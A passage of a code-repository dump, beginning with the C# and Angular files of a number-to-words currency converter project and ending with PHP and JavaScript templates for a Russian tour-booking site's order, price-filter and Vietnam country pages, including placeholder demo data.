catch(AggregateException ex)
{
throw ex.InnerException;
}
}
}
}
<file_sep>/AKQATask/wwwroot/js/app/app.component.ts
import { Component, OnInit } from '@angular/core';
@Component({
selector: 'my-app',
templateUrl: '/js/app/html/app.html',
styleUrls: ['/js/app/css/app.css']
})
export class AppComponent implements OnInit {
public title: string ;
public ngOnInit(): void {
this.title = 'Number To Words Converter';
}
}
<file_sep>/README.md
# AKQATask
AKQA Task
<file_sep>/AKQATask/wwwroot/js/app/output.component.ts
import { Component, OnInit } from '@angular/core';
import { AppService } from './app.service.js';
import { InfoModel, ResultModel } from './app.model.js';
import { DataService } from './data.service.js';
import { Subscription } from 'rxjs/Subscription';
@Component({
selector: 'app-output',
templateUrl: '/js/app/html/output.html'
})
export class OutputComponent {
public subscription: Subscription;
public info: InfoModel;
constructor(private appService: AppService, private data: DataService) {
}
public ngOnInit(): void {
this.subscription = this.data.currentInfo.subscribe((x: any) => {
if (x == null) {
this.info = new InfoModel();
this.info.name = '';
this.info.number = '';
} else {
this.info = x as InfoModel;
}
});
}
}
<file_sep>/AKQATask.Core/Services/NumToWordsConvertor.cs
using AKQATask.Contract.Interfaces;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AKQATask.Core.Services
{
public class NumToWordsConvertor : AbstractConvertor
{
private static readonly string[] singleWords = { "zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "ten", "eleven", "twelve", "thirteen", "fourteen", "fifteen", "sixteen", "seventeen", "eighteen", "nineteen" };
private static readonly string[] tenTimesWords = { "zero", "ten", "twenty", "thirty", "forty", "fifty", "sixty", "seventy", "eighty", "ninety" };
public override async Task<string> ConvertToWords(double number)
{
var words=await Task.Run<string>(() =>
{
var result = string.Empty;
var minus = "";
if (number < 0)
{
minus = "minus ";
number = -number;
}
var rightNum = (long)number;
var leftNum = (long)Math.Round(number * 100, 0, MidpointRounding.AwayFromZero) % 100;
var leftS = (leftNum == 1) ? "" : "s";
var rightS = (rightNum == 0 || rightNum == 1) ? "" : "s";
if (leftNum == 0)
{
result = $"{minus}{Convert(rightNum)} dollar{rightS}";
}
else
{
result = $"{minus}{Convert(rightNum)} dollar{rightS} and {Convert(leftNum)} cent{leftS}";
}
return result.ToLower();
});
return words;
}
private string Convert(long number)
{
string result = string.Empty;
if (number == 0)
{
result = singleWords[number];
}
else
{
var words = new List<string>();
if ((number / 1000000000000) > 0)
{
words.Add(string.Format("{0} trillion", Convert(number / 1000000000000)));
number %= 1000000000000;
}
if ((number / 1000000000) > 0)
{
words.Add(string.Format("{0} billion", Convert(number / 1000000000)));
number %= 1000000000;
}
if ((number / 1000000) > 0)
{
words.Add(string.Format("{0} million", Convert(number / 1000000)));
number %= 1000000;
}
if ((number / 1000) > 0)
{
words.Add(string.Format("{0} thousand", Convert(number / 1000)));
number %= 1000;
}
if ((number / 100) > 0)
{
words.Add(string.Format("{0} hundred", Convert(number / 100)));
number %= 100;
}
if (number > 0)
{
if (words.Count != 0)
words.Add("and");
if (number < 20)
words.Add(singleWords[number]);
else
{
var lastWord = tenTimesWords[number / 10];
if ((number % 10) > 0)
lastWord += $"-{singleWords[number % 10]}";
words.Add(lastWord);
}
}
result = string.Join(" ", words.ToArray());
}
return result;
}
}
}
<file_sep>/AKQATask/Scripts/app/convertor.component.ts
import { Component } from '@angular/core';
@Component({
selector: 'app-convertor',
templateUrl: '/js/app/html/convertor.html'
})
export class ConvertorComponent {
}
<file_sep>/AKQATask/wwwroot/js/app/app.service.ts
import { Injectable } from '@angular/core';
import { InfoModel, ResultModel } from './app.model.js';
import { Headers, Http } from '@angular/http';
import { DataService } from './data.service.js';
import 'rxjs/add/operator/toPromise';
@Injectable()
export class AppService {
private headers: Headers = new Headers({ 'Content-Type': 'application/json' });
private apiUrl: string = '/api/app'; // URL to web api
constructor(private http: Http, private data: DataService) {
}
//http post method
public post(data: InfoModel, culture: string): Promise<ResultModel> {
if (culture !== '') {
this.headers.delete('Accept-Language');
this.headers.append('Accept-Language', culture);
}
const url = this.apiUrl + '/convert';
return this.http
.post(url, JSON.stringify(data), { headers: this.headers })
.toPromise()
.then(
res => {
this.data.broadcastHttpMessage('Succeed');
return res.json() as ResultModel;
}
)
.catch(
error => {
if (console) {
console.error('An error occurred', error);
}
const msg = error._body;
this.data.broadcastHttpMessage('Error: ' + msg);
return Promise.reject(error.message || error);
}
);
}
}
<file_sep>/AKQATask/wwwroot/js/app/input.component.ts
import { Component, OnInit } from '@angular/core';
import { AppService } from './app.service.js';
import { InfoModel, ResultModel } from './app.model.js';
import { DataService } from './data.service.js';
import { Subscription } from 'rxjs/Subscription';
@Component({
selector: 'app-input',
templateUrl: '/js/app/html/input.html'
})
export class InputComponent {
public info: InfoModel;
public subscription: Subscription;
public message: string;
public numberValidation: string;
public selectedCulture: string = 'en';
constructor(private appService: AppService, private data: DataService) {
this.info = new InfoModel();
this.info.name = '';
this.info.number = '';
}
public ngOnInit(): void {
this.subscription = this.data.httpMessage.subscribe(
(x: any) => {
this.message = x as string;
});
}
//validation
public onNumberChange(value: string): void {
const myRe = /[^0-9,.]/;
const isMatched = myRe.test(value);
if (isMatched) {
this.numberValidation = 'Invalid Number';
}else {
this.numberValidation = '';
}
}
//http post
public convert(): void {
this.appService.post(this.info, this.selectedCulture)
.then(response => {
if (response.success) {
const info = new InfoModel();
info.name = response.result.name;
info.number = response.result.number;
this.data.broadcastChange(info);
}else {
this.message = response.message;
}
}
);
}
}
<file_sep>/AKQATask.Contract/EnumCulture.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AKQATask.Contract
{
public enum EnumCulture
{
[Description("en-US")]
en_US,
[Description("en-AU")]
en_AU,
[Description("en-GB")]
en_GB,
[Description("en")]
en,
[Description("fr-FR")]
fr_FR,
[Description("fr")]
fr
}
}
<file_sep>/AKQATask.Core/Services/NumToWordsConvertorFr.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AKQATask.Core.Services
{
public class NumToWordsConvertorFr : AbstractConvertor
{
public override async Task<string> ConvertToWords(double number)
{
return await Task.Run(()=> { return "Not Implemented"; });
}
}
}
<file_sep>/AKQATask.Core/Services/NumToWordsConvertorFactory.cs
using AKQATask.Contract.Interfaces;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Globalization;
using AKQATask.Contract;
using AKQATask.Core.Extentions;
namespace AKQATask.Core.Services
{
public class NumToWordsConvertorFactory : INumToWordsConvertorFactory
{
public INumToWordsConvertor CreateConvertor(CultureInfo culture)
{
INumToWordsConvertor result;
var cultureName=culture.Name;
if (cultureName.Equals(EnumCulture.fr.GetDescription(), StringComparison.InvariantCultureIgnoreCase)
|| cultureName.Equals(EnumCulture.fr_FR.GetDescription(), StringComparison.InvariantCultureIgnoreCase))
{
result = new NumToWordsConvertorFr();
}
else
{
//default
result = new NumToWordsConvertor();
}
return result;
}
}
}
<file_sep>/AKQATask/Filters/LoggingActionFilter.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.Extensions.Logging;
using Microsoft.AspNetCore.Mvc.Filters;
namespace AKQATask.Filters
{
public class LoggingActionFilter : ActionFilterAttribute
{
private readonly ILogger logger;
public LoggingActionFilter(ILogger<LoggingActionFilter> logger)
{
this.logger = logger;
}
public override void OnActionExecuting(ActionExecutingContext context)
{
logger.LogTrace($"action log: {context.HttpContext.Request.Method} url: {context.HttpContext.Request.Path} {context.HttpContext.Request.QueryString}");
base.OnActionExecuting(context);
}
}
}
<file_sep>/AKQATask/Scripts/app/app.module.ts
import { NgModule } from '@angular/core';
import { BrowserModule } from '@angular/platform-browser';
import { FormsModule } from '@angular/forms'; // <-- NgModel lives here
import { HttpModule } from '@angular/http';
import { AppComponent } from './app.component.js';
import { ConvertorComponent } from './convertor.component.js';
import { InfoComponent } from './info.component.js';
import { InputComponent } from './input.component.js';
import { OutputComponent } from './output.component.js';
import { AppService } from './app.service.js';
import { DataService } from './data.service.js';
import { AppRoutingModule } from './app-routing.module.js';
@NgModule({
imports: [
BrowserModule,
FormsModule, // <-- import the FormsModule before binding with [(ngModel)]
HttpModule,
AppRoutingModule
],
declarations: [
AppComponent,
ConvertorComponent,
InfoComponent,
InputComponent,
OutputComponent
],
providers: [AppService, DataService],
bootstrap: [AppComponent]
})
export class AppModule { }
<file_sep>/AKQATask.Contract/Models/ResultModel.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AKQATask.Contract.Models
{
public class ResultModel
{
public bool Success { get; set; }
public string Message { get; set; }
public InfoModel Result { get; set; }
}
}
<file_sep>/AKQATask/wwwroot/js/app/app.model.ts
export class InfoModel {
public name: string;
public number: string;
}
export class ResultModel {
public success: boolean;
public message: string;
public result: InfoModel;
}<file_sep>/AKQATask/Scripts/app/data.service.ts
import { Injectable } from '@angular/core';
import { BehaviorSubject } from 'rxjs/BehaviorSubject';
import { InfoModel, ResultModel } from './app.model.js';
@Injectable()
export class DataService {
public cultures: string[] = ['en', 'fr'];
private httpSource: BehaviorSubject<string> = new BehaviorSubject<string>('');
public httpMessage: any = this.httpSource.asObservable();
private messageSource: BehaviorSubject<InfoModel> = new BehaviorSubject<InfoModel>(null);
public currentInfo: any = this.messageSource.asObservable();
public broadcastChange(input: InfoModel) {
this.messageSource.next(input);
}
public broadcastHttpMessage(input: string) {
this.httpSource.next(input);
}
}
| ba8e0afdb0d6dcecd0a5a28628aad4f8b1014261 | [
"JavaScript",
"C#",
"TypeScript",
"Markdown"
] | 22 | JavaScript | stevencch/AKQATask | 4861517224277fbd936f4fcfac2cf4df716309a5 | 0f1e60aae142a684917e00925c41b61177684804 |
refs/heads/master | <repo_name>WALKMAN5/gotour<file_sep>/order-1.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: order-1.php
* Project: tour
* Date: 16.11.2015
* Feedback: <EMAIL>
************************************/ ?>
<div id="sub-header" class="compact" style="background-image:url('/DEMO/sh-tour-hot.png')"></div>
<div class="container">
<div class="pull-right">
<div id="order-slider" class="carousel slide" data-ride="carousel">
<!-- Wrapper for slides -->
<div class="carousel-inner">
<div class="item active">
<div class="photo" style="background-image:url(/DEMO/main-slider1.jpg)"></div>
<div class="photo" style="background-image:url(/DEMO/main-slider2.jpg)"></div>
<div class="photo" style="background-image:url(/DEMO/main-slider3.jpg)"></div>
<div class="photo" style="background-image:url(/DEMO/blog-item-1.jpg)"></div>
</div>
<div class="item" style="background-image:url(/DEMO/main-slider2.jpg)">
<div class="photo" style="background-image:url(/DEMO/blog-item-2.jpg)"></div>
<div class="photo" style="background-image:url(/DEMO/blog-item-3.jpg)"></div>
<div class="photo" style="background-image:url(/DEMO/blog-item-4.jpg)"></div>
<div class="photo" style="background-image:url(/DEMO/blog-item-5.jpg)"></div>
</div>
</div>
<!-- Controls -->
<a class="left carousel-control hidden-xs" href="#order-slider" data-slide="prev"></a>
<a class="right carousel-control hidden-xs" href="#order-slider" data-slide="next"></a>
</div>
</div>
<h1>PORTO AZZURO CLUB MARE <small><NAME>, 25 км от аэропорта</small></h1>
</div><file_sep>/js/tour-filter.js
$(document).ready(function(){
var filterPrice = {
$priceMin : $('.tourFilterPriceMin'),
$priceMax : $('.tourFilterPriceMax'),
addSpace : function(str){
return str.toString().replace(/(\d)(?=(\d\d\d)+([^\d]|$))/g, '$1 ');
},
removeSpace : function(str){
return str.replace(/\s+/g, '');
},
setPriceMin : function(){
var value = '';
value = this.$priceMin.val();
if(value==''){
value = 0;
}
return parseFloat(filterPrice.removeSpace(value));
},
setPriceMax : function (){
var value = '';
value = this.$priceMax.val();
if(value==''){
value = 0;
}
return parseFloat(filterPrice.removeSpace(value));
},
getPrice : function(valueMin, valueMax){
this.getPriceMin(valueMin);
this.getPriceMax(valueMax);
},
getPriceMin : function (value){
this.$priceMin.val(this.addSpace(value));
},
getPriceMax : function (value){
this.$priceMax.val(this.addSpace(value));
},
inputChange : function (elem){
if(elem.hasClass('tourFilterPriceMin')){
var value = filterPrice.setPriceMin();
filterPrice.getPriceMin(value);
}
if(elem.hasClass('tourFilterPriceMax')){
var value = filterPrice.setPriceMax();
filterPrice.getPriceMax(value);
}
}
};
var $filterSlider = $('.tour-filter-price');
if($('input').is('.tour-filter-price')){
$filterSlider.ionRangeSlider({
min: 0,
max: 15000000,
from: filterPrice.setPriceMin(),
to: filterPrice.setPriceMax(),
type: 'double',
step: 1000,
hide_min_max: true,
hide_from_to: true,
onChange : function(data){
filterPrice.getPrice(data.from, data.to);
setfilterValue();
}
});
var filterSlider = $filterSlider.data("ionRangeSlider");
filterPrice.$priceMin.keyup(function(){
filterPrice.inputChange($(this));
filterSlider.update({
from: filterPrice.setPriceMin()
});
});
filterPrice.$priceMax.keyup(function(){
filterPrice.inputChange($(this));
filterSlider.update({
to: filterPrice.setPriceMax()
});
});
$('.form-tourfilter input').change(function(){
setfilterValue();
});
$('.form-tourfilter input').keyup(function(){
setfilterValue();
});
var filterValue ={};
function setfilterValue(){
filterValue = {
eat1 : '',
eat2 : '',
eat3 : '',
eat4 : '',
eat5 : '',
class1 : '',
class2 : '',
class3 : '',
class4 : '',
priceMin : '',
priceMax : '',
beach1 : '',
beach2 : '',
beach3 : ''
}
$('.form-tourfilter input').each(function(){
var $elem = $(this);
var key = $elem.attr('name');
var value = false;
if($elem.attr('type')=='checkbox'){
if($elem.is(':checked')){
value = true
}
}
if($elem.attr('type')=='text'){
if(key=='priceMin'){
value = filterPrice.setPriceMin();
}else{
value = filterPrice.setPriceMax();
}
}
filterValue[key] = value;
});
console.clear();
console.log(filterValue);
}
$('.tour-filter--hide').click(function(){
$('.tour-filter--container').stop(true).slideUp(200);
$('.tour-filter--show').delay(150).stop(true).animate({'opacity' : 1},150);
return false;
});
$('.tour-filter--show').click(function(){
$('.tour-filter--container').stop(true).slideDown(200);
$('.tour-filter--show').stop(true).animate({'opacity' : 0},150);
return false;
});
}
});<file_sep>/country.php
<nav id="country-map" class="navmenu navmenu-default navmenu-fixed-right offcanvas country-map-wrapper" role="navigation">
<button class="country-map-close" data-target="#country-map" data-toggle="offcanvas" data-canvas="#site-wrap"><span class="icons-close_grey"></span></button>
<div class="country-map" id="countryMap"></div>
</nav>
<div id="sub-header" class="sub-header
<?
if(isset($_GET['p']) && file_exists($_GET['p'].'.php')){
echo 'sub-header_' . $_GET['p'];
}
?>
xxs-compact" style="background:#f4f4f4;">
</div>
<!-- country begin -->
<div class="country">
<!-- country header begin -->
<div class="country-header">
<div class="country-header-top">
<div class="container">
<h1 class="hotel-name">ТУРЫ ВО ВЬЕТНАМ</h1>
<ul class="hotel-breadcrumbs">
<li><a href="#">Все страны</a></li>
<li class="sep">/</li>
<li>Вьетнам — поиск тура</li>
</ul>
<hr>
</div>
</div>
<div class="country-header-search">
<div class="hotel-search--container">
<div class="hotel-search--form">
<form action="#" class="form-hotelsearch">
<div class="container">
<div class="row">
<div class="col-sm-12">
<div class="roundtour-city">
Город вылета: <a href="#" class="roundtour-city--select">Москва</a>
<div class="roundtour-city--submenu">
<input type="text" class="form-control roundtour-city--search" value="Москва">
<a href="#" class="roundtour-city--close"><span class="icons-close_orange"></span></a>
<div class="roundtour-city--wrapper scrollbar-inner">
<ul class="roundtour-city--list">
<li>Москва</li>
<li>Санкт-Петербург</li>
<li>Абакан</li>
<li>Актау</li>
<li>Актобе</li>
<li>Алматы</li>
<li>Анадырь</li>
<li>Анапа</li>
</ul>
</div>
</div>
</div>
</div>
<div class="col-md-4 col-sm-6">
<div class="form-group roundtour-place--container">
<a href="#" class="roundtour-place">
<span class="icon icons-location_orange"></span>
<span class="text">Где хотите отдохнуть?</span>
</a>
<div class="roundtour-place--submenu">
<input type="text" class="form-control roundtour-place--search" value="" placeholder="Где хотите отдохнуть?">
<span class="roundtour-place--searchicon icons-location_orange"></span>
<div class="roundtour-place--wrapper scrollbar-inner">
<ul class="roundtour-place--list">
<?php
$icons = array('','home','location','aircraft');
$curort = array('','Анапа','Аналипси','Evason Ana Mandara','Hostal Santa Ana Hostal Santa Ana','Ana Mandara Hue','Apatrments Ana');
$curortCountry = array('','Россия','Греция','Испания ЛЛарет-де-Мар','Вьетнам Фуванг','Черногория Котор');
for($i=1;$i<=20;$i++){ ?>
<li>
<div class="roundtour-place--icon"><span class="icons-<?php echo $icons[rand(1,3)]; ?>"></span></div>
<div class="roundtour-place--info">
<h4 class="roundtour-place--curort"><?php echo $curort[rand(1,6)]; ?></h4>
<span class="roundtour-place--country"><?php echo $curortCountry[rand(1,5)]; ?></span>
</div>
<div class="roundtour-place--img"><img src="DEMO/curort<?php echo rand(1,3); ?>.jpg?ver=1.0" alt=""></div>
</li>
<?php } ?>
</ul>
</div>
</div>
</div>
</div>
<div class="col-md-3 col-sm-6 no-leftpadding" >
<div class="form-group">
<a href="#" class="roundtour-date hotel-roundtour-date--open" data-open="noblur">
<span class="icon icons-calendar_orange"></span>
<span class="text">
<span class="roundtour-date--months">Выберите дату</span>
<span class="roundtour-date--nights">и количество ночей</span>
</span>
</a>
</div>
</div>
<div class="col-md-5 col-sm-12 no-leftpadding">
<div class="roundtour-people">
<div class="roundtour-people--active">
<ul class="roundtour-people--adults">
<li>
<a href="#" class="roundtour-people--remove"><i class="fa fa-times"></i></a>
<span class="icons-people-adult_white hidden-xs hidden-sm"></span>
<span class="icons-people-adultsm_white visible-sm visible-xs"></span>
</li>
<li>
<a href="#" class="roundtour-people--remove"><i class="fa fa-times"></i></a>
<span class="icons-people-adult_white hidden-xs hidden-sm"></span>
<span class="icons-people-adultsm_white visible-sm visible-xs"></span>
</li>
</ul>
<ul class="roundtour-people--childrens">
<!--
<li>
<a href="#" class="roundtour-people--remove"><i class="fa fa-times"></i></a>
<span class="icons-people-children_white hidden-xs hidden-sm"></span>
<span class="icons-people-childrensm_white visible-sm visible-xs"></span>
<div class="roundtour-people--year">2</div>
</li>
-->
</ul>
</div>
<a href="#" class="roundtour-people--addadults">
<span class="text icons-plus_yellow"></span>
<span class="icon icons-people-adult_yellow hidden-xs hidden-sm"></span>
<span class="icon icons-people-adultsm_yellow visible-sm visible-xs"></span>
</a>
<div class="roundtour-people--addchildrens-wrapper">
<a href="#" class="roundtour-people--addchildrens">
<span class="text icons-plus_yellow"></span>
<span class="icon icons-people-children_yellow hidden-xs hidden-sm"></span>
<span class="icon icons-people-childrensm_yellow visible-sm visible-xs"></span>
</a>
<div class="roundtour-people--years scrollbar-inner">
<ul>
<li>1 год</li>
<li>2 года</li>
<li>3 года</li>
<li>4 года</li>
<li>5 лет</li>
<li>6 лет</li>
<li>7 лет</li>
<li>8 лет</li>
</ul>
</div>
</div>
</div>
<button class="btn hotel-search--send">Найти тур</button>
</div>
</div>
</div>
<input id="city-id" type="hidden" name="city_id" value='832' >
<input id="place_id" type="hidden" name="place_id" value='4023'>
<input id="place_type" type="hidden" name="place_type" value='resort' >
<input id="nights_min" type="hidden" name="nights_min" >
<input id="nights_max" type="hidden" name="nights_max" >
<input id="date_min" type="hidden" name="date_min" >
<input id="date_max" type="hidden" name="date_max" >
<input id="children" type="hidden" name="children" >
<input id="adult" type="hidden" name="adult" value="2">
</form>
</div>
<!-- select date -->
<div class="select-date-nobutton country-search--date hotel-search--date">
<div class="roundtour-date--wrapper">
<div class="roundtour-date--content">
<div class="roundtour-date--top">
<div class="container">
<div class="row">
<div class="col-md-3 no-rightpadding"><h4>Выберите количество ночей:</h4></div>
<div class="col-md-8 no-rightpadding">
<ul class="roundtour-date--night">
<?php for($i=2;$i<=20;$i++){ ?>
<li class="<?php if($i==7) {echo 'active';} ?>"><?php echo $i ?></li>
<?php } ?>
<li>более 20</li>
</ul>
</div>
</div>
</div>
</div>
<div class="roundtour-date--days">
<div class="container">
<div class="row">
<div class="col-md-3"><h4>Выберите период отдыха:</h4></div>
<div class="col-md-8">
<div class="roundtour-date--month"></div>
<input type="hidden" class="select-date" value="">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- end -->
</div>
</div>
</div>
<!-- country header end -->
<!-- country chart begin -->
<div class="country-chart">
<div class="container">
<h3 class="country-part-header">ГОРЯЩИЕ ТУРЫ И ПУТЕВКИ ВО ВЬЕТНАМ</h3>
<h5 class="country-part-desc">
<a href="#" class="country-chart-prev"><i class="fa fa-angle-left" aria-hidden="true"></i></a>
График цен по месяцам
<a href="#" class="country-chart-next"><i class="fa fa-angle-right" aria-hidden="true"></i></a>
</h5>
<div class="country-chart-slider">
<div class="country-chart-list">
<div class="row">
<div class="col-xs-1">
<a href="#" class="country-chart-list_active">
<span class="line">
<em class="percent" style="height:66%;"></em>
</span>
<span class="text">Май</span>
</a>
</div>
<div class="col-xs-1">
<a href="#">
<span class="line">
<em class="percent" style="height:80%;"></em>
</span>
<span class="text">Июнь</span>
</a>
</div>
<div class="col-xs-1">
<a href="#">
<span class="line">
<em class="percent" style="height:90%;"></em>
</span>
<span class="text">Июль</span>
</a>
</div>
<div class="col-xs-1">
<a href="#">
<span class="line">
<em class="percent" style="height:100%;"></em>
</span>
<span class="text">Авг</span>
</a>
</div>
<div class="col-xs-1">
<a href="#">
<span class="line">
<em class="percent" style="height:75%;"></em>
</span>
<span class="text">Сент.</span>
</a>
</div>
<div class="col-xs-1">
<a href="#">
<span class="line">
<em class="percent" style="height:65%;"></em>
</span>
<span class="text">Окт.</span>
</a>
</div>
<div class="col-xs-1">
<a href="#">
<span class="line">
<em class="percent" style="height:50%;"></em>
</span>
<span class="text">Нояб.</span>
</a>
</div>
<div class="col-xs-1">
<a href="#">
<span class="line">
<em class="percent" style="height:10%;"></em>
</span>
<span class="text">Дек.</span>
</a>
</div>
<div class="col-xs-1">
<a href="#">
<span class="line">
<em class="percent" style="height:10%;"></em>
</span>
<span class="text">Янв.</span>
</a>
</div>
<div class="col-xs-1">
<a href="#">
<span class="line">
<em class="percent" style="height:10%;"></em>
</span>
<span class="text">Февр.</span>
</a>
</div>
<div class="col-xs-1">
<a href="#">
<span class="line">
<em class="percent" style="height:20%;"></em>
</span>
<span class="text">Март</span>
</a>
</div>
<div class="col-xs-1">
<a href="#">
<span class="line">
<em class="percent" style="height:30%;"></em>
</span>
<span class="text">Апр.</span>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- country chart end -->
<!-- country resorts popular begin -->
<div class="country-resorts country-resorts_popular">
<div class="container">
<h3 class="country-part-header">Популярные курорты вьетнама</h3>
<div class="country-resorts-list">
<?php
for($i=1;$i<=5;$i++){
?>
<div class="country-resorts-item country-resorts-item_popular">
<a href="#">
<div class="country-resorts-item-img hidden-xs">
<img src="DEMO/country-reports<?php echo rand(1,2);?>.jpg" alt="">
</div>
<div class="country-resorts-item-content">
<div class="row">
<div class="col-md-12">
<div class="row">
<div class="col-md-4 col-sm-6">
<?php
if(rand(0,1)){
$title = 'Нячанг';
}else{
$title = 'ADLER CLUBRESIDENCE Lorem ipsum dolor sit amet, consectetur';
}
?>
<h3 class="country-resorts-item-header" title="<?php echo $title; ?>">
<?php echo $title; ?>
</h3>
<h6 class="country-resorts-item-country">Вьетнам</h6>
</div>
<div class="country-resorts-item-img visible-xs">
<img src="DEMO/country-reports<?php echo rand(1,2);?>.jpg" alt="">
</div>
<div class="col-sm-6 visible-sm text-right">
<div class="country-resorts-item-buttons">
<button class="btn btn_brown country-resorts-item-price">
<span>4 849 400</span> <i class="fa fa-rub" aria-hidden="true"></i>
</button>
</div>
</div>
<div class="col-md-8 col-sm-12 no-rightpadding">
<ul class="country-resorts-item-info">
<li class="country-resorts-item-info--item country-resorts-item-info--item_weather">
<span class="strong">Погода:</span> 25°C до 32°C
</li>
<li class="country-resorts-item-info--item country-resorts-item-info--item_water">
Вода — 29°C
</li>
<li class="country-resorts-item-info--item country-resorts-item-info--item_beach">
<span class="strong">Пляж:</span> Песок, Оборудованный, Каменистый/скалистый<br>
<span class="strong">Сезон:</span> февраль - август
</li>
</ul>
</div>
</div>
</div>
<div class="col-md-12 hidden-sm">
<div class="country-resorts-item-buttons">
<button class="btn btn_brown country-resorts-item-price
<?php
if(rand(0,1)){
$class = 'country-resorts-item-price_learn';
$text = 'Узнать цену';
} else{
$class = '';
$text = '<span>4 849 400</span> <i class="fa fa-rub" aria-hidden="true"></i>';
}
echo $class;
?>">
<?php echo $text; ?>
</button>
<button class="btn btn_black country-resorts-item-aboutbtn">О курорте</button>
</div>
</div>
</div>
</div>
</a>
</div>
<?php
}
?>
</div>
<div class="country-resorts-button">
<a href="#" class="btn btn_transparent country-resorts-showmore">показать еще</a>
</div>
</div>
</div>
<!-- country resorts popular end -->
<!-- country resorts begin -->
<div class="country-resorts">
<div class="container">
<h3 class="country-part-header">сезон в этих курортах еще не начался</h3>
<div class="country-resorts-list">
<?php
for($i=1;$i<=3;$i++){
?>
<div class="country-resorts-item">
<a href="#">
<div class="country-resorts-item-img hidden-xs">
<img src="DEMO/country-reports<?php echo rand(1,2);?>.jpg" alt="">
</div>
<div class="country-resorts-item-content">
<div class="row">
<div class="col-md-12">
<div class="row">
<div class="col-md-4 col-sm-6">
<?php
if(rand(0,1)){
$title = 'Нячанг';
}else{
$title = 'ADLER CLUBRESIDENCE Lorem ipsum dolor sit amet, consectetur';
}
?>
<h3 class="country-resorts-item-header" title="<?php echo $title; ?>">
<?php echo $title; ?>
</h3>
<h6 class="country-resorts-item-country">Вьетнам</h6>
</div>
<div class="country-resorts-item-img visible-xs">
<img src="DEMO/country-reports<?php echo rand(1,2);?>.jpg" alt="">
</div>
<div class="col-sm-6 visible-sm text-right">
<div class="country-resorts-item-buttons">
<button class="btn btn_brown country-resorts-item-price">
<span>4 849 400</span> <i class="fa fa-rub" aria-hidden="true"></i>
</button>
</div>
</div>
<div class="col-md-8 col-sm-12 no-rightpadding">
<ul class="country-resorts-item-info">
<li class="country-resorts-item-info--item country-resorts-item-info--item_weather">
<span class="strong">Погода:</span> 25°C до 32°C
</li>
<li class="country-resorts-item-info--item country-resorts-item-info--item_water">
Вода — 29°C
</li>
<li class="country-resorts-item-info--item country-resorts-item-info--item_beach">
<span class="strong">Пляж:</span> Песок, Оборудованный, Каменистый/скалистый<br>
<span class="strong">Сезон:</span> февраль - август
</li>
</ul>
</div>
</div>
</div>
<div class="col-md-12 hidden-sm">
<div class="country-resorts-item-buttons">
<button class="btn btn_brown country-resorts-item-price
<?php
if(rand(0,1)){
$class = 'country-resorts-item-price_learn';
$text = 'Узнать цену';
} else{
$class = '';
$text = '<span>4 849 400</span> <i class="fa fa-rub" aria-hidden="true"></i>';
}
echo $class;
?>">
<?php echo $text; ?>
</button>
<button class="btn btn_black country-resorts-item-aboutbtn">О курорте</button>
</div>
</div>
</div>
</div>
</a>
</div>
<?php
}
?>
</div>
</div>
</div>
<!-- country resorts eng -->
<!-- country info begin -->
<div class="country-info">
<div class="container">
<h2 class="country-info-header">Подробнее о Вьетнаме</h2>
<div class="row">
<div class="col-md-8">
<div class="country-info-text">
<p>Удивительный, свежий, неиспорченный капризами отдыхающих Вьетнам радушно раскрывает свои резные врата, приглашая в чудесные сады, напоенные ароматом жасмина, торжественные древние храмы, на бескрайние золотистые пляжи, окутанные легкой утренней дымкой.</p>
<p>А толчея пестрых многолюдных улиц его городов заставляет улыбнуться и проникнуться этой жизнерадостной суетой разноязыких торговцев, паломников и просто искателей счастья, приехавших из разных уголков мира.</p>
<h6>Где отдохнуть во Вьетнаме?</h6>
<p>Вьетнам - вторая по популярности азиатская страна у российских туристов после Таиланда. Цены на проживание и питание здесь очень низкие, но общая относительно высокая стоимость тура формируется из-за дальности расстояния, а следовательно, дороговизны перелета.</p>
<p>Несмотря на это, бесчисленные экзотические достопримечательности Вьетнама – культовые храмы, музеи, знаменитые пещеры, удивительные природные красоты и развитая туристическая инфраструктура делают ее чрезвычайно притягательной для туристов.</p>
<p>Здесь есть идеальные уголки для романтического уединения и тихого семейного отдыха с маленькими детьми вдали от больших городов. Мягкий, удивительно благоприятный климат, без жары и высокой влажности подходит и для пожилых людей, и для самых маленьких путешественников.</p>
<p>Найти занятие по душе здесь сможет каждый – от изучения богатого культурного и исторического наследия до дегустации гастрономических изысков вьетнамской кухни с диетическим рисом и разнообразием морепродуктов.</p>
<h6>Пляжный отдых</h6>
<p>Вьетнамские курорты имеют отчетливый флер Европы – все же когда-то эта страна была французской колонией, поэтому и уровень сервиса здесь вполне европейский. Лучшие места для пляжного одыха – Хойан, Фантьет и Ньячанг расположены в центре и на юге страны. Эти места часто называют «Вьетнамскими Гавайями» за бесконечные песчаные пляжи, кристально прозрачное море и безупречное качество обслуживания отдыхающих. Здесь созданы отличные условия для занятий водными видами спорта, оборудованы поля для игры в гольф.</p>
</div>
</div>
<div class="col-md-4 text-right hidden-xs">
<div class="country-info-main">
<div class="country-info-hotels">
<a href="#country-map" data-recalc="false" data-toggle="offcanvas" data-canvas="#site-wrap">
<div class="country-info-hotels-img hidden-sm hidden-xs">
<img src="img/country-info-hotels.png" alt="">
</div>
<div href="#" class="country-info-hotels-location">
<span class="icons-location_white_big icon-white"></span>
<span class="icons-location_black_big icon-black"></span>
</div>
<div class="country-info-hotels-numbers">
340 <span>отелей</span> <span class="name">Вьетнама</span>
</div>
</a>
</div>
<div class="hidden-sm hidden-xs">
<div class="country-info-select">
<select class="form-control" name="city">
<option>Муйне</option>
<option>Муйне</option>
</select>
<select class="form-control" name="month">
<option>Март</option>
<option>Апрель</option>
</select>
</div>
<div class="country-info-weather">
<span class="day">+25°C</span>
<span class="night">+20°C</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- country info end -->
<!-- country photo begin -->
<div class="country-photo hidden-xs">
<div class="container">
